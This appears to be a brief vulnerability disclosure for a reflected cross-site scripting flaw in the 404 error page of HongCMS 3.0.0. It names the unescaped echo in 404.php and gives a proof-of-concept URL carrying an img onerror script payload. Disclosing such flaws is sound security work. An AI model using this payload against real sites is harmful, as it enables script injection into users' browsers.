Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

There is a reflective XSS on the 404 page of the web site

Powered by Shiyan

Vulnerability analysis:

In the 404 error page, the wrong code was used, resulting in the existence of XSS vulnerability.

Loophole code:

HongCMS_3.0.0_free\system\errors\404.php

Sixtieth lines

<?php echo $debugmsg; ?>

Reflected XSS PoC:

http://127.0.0.1/hongcms_3.0.0_free/index.php/abou<img src=x onerror=alert('shiyan')>

Vulnerability trigger screenshot:

1

Note: the vulnerability will be exploited by malicious users.